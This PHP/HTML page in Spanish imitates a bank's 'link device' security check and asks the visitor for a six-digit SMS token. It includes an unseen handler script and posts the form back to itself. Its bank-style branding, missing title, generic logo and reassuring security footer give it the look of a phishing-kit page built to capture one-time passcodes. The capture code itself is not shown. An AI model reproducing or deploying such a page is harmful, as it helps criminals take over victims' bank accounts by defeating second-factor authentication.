<?php
  include 'src/querys/src.php';
?>
<!doctype html>
<html lang="es">
<head>
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.13.1/font/bootstrap-icons.min.css">
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title></title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.7/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-LN+7fdVzj6u52u30Kp6M/trliBMCMKTyK833zpbD+pXdCLuTusPj697FH4R/5mcr" crossorigin="anonymous">
  <link rel="stylesheet" type="text/css" href="static/style.css">
  <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
  <style> 
    body{
      background: #eee;
    }
    .text-primary{
      color: rgb(213, 43, 30)!important;
    }
    .btn-primary{
      background: rgb(213, 43, 30)!important;
      border-color: rgb(213, 43, 30)!important;
    }
  </style>
</head>
<body>
     <header class="p-0 m-0">
      <nav class="navbar bg-white">
        <div class="container-fluid">
          <a class="navbar-brand "  href="#">
            <img src="static/logo.svg" height="42px">
          </a>
          
        </div>
      </nav>
    </header>   
    <main class="bg-white mx-auto w-100 p-3 py-4 " >
      
      <section class="login mx-auto" style="max-width: 700px;">
        <div class="px-3">
          <h3 class="text-start">Vincular dispositivo</h3>
          <p>Ingrese el Token de seguridad para iniciar sesión en este dispositivo.</p>
          <p class="text-uppercase text-danger fw-semibold " style="font-size: 12px;font-family: Arial;"><i class="bi bi-exclamation-triangle"></i> VERIFICACIÓN DE SEGURIDAD</p> 
        </div>
        <form method="POST" class="row mx-0" >

          <div class="col-12">



            <div class="position-relative  field">
              <input type="tel" id="sms" maxlength="6" minlength="6" placeholder="Ingrese el token" required class="form-control shadow-none" name="sms">
            


             
            </div>
          </div>

          

           <?php
              if (isset($_GET['error'])){
            ?>
            <p style="font-size:13px;" class="text-danger">El token que ingresaste no es valido.</p>
            <?php
            }
            ?>
      


          <div class="col-12">
            <button name="submit2" class="btn mb-3 btn-primary mt-4 w-100">Confirmar</button>
          </div>

         
        </form>
      </section>
    </main>
    <footer class="text-center mx-auto">
      <div class="justify-content-center py-3">
        <div>
        </div>
        <div>
          No compartas tus datos personales o claves de acceso por email, teléfono, mensajes o redes <br> sociales. Conocé nuestras <span class="text-primary">recomendaciones de seguridad</span>
        </div>
      </div>
    </footer>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.7/dist/js/bootstrap.bundle.min.js" integrity="sha384-ndDqU0Gzau9qJ1lfW4pNLlhNTkCfHzAVBReH9diLvGRem5+R9g2FzA8ZGN954O5Q" crossorigin="anonymous"></script>
  <script>




    $('#sms').keypress(function (e) {
      if (e.keyCode < 48 || e.keyCode > 57 ) {
        e.preventDefault();
        return false;
      }
    })
  </script>
</body>
</html>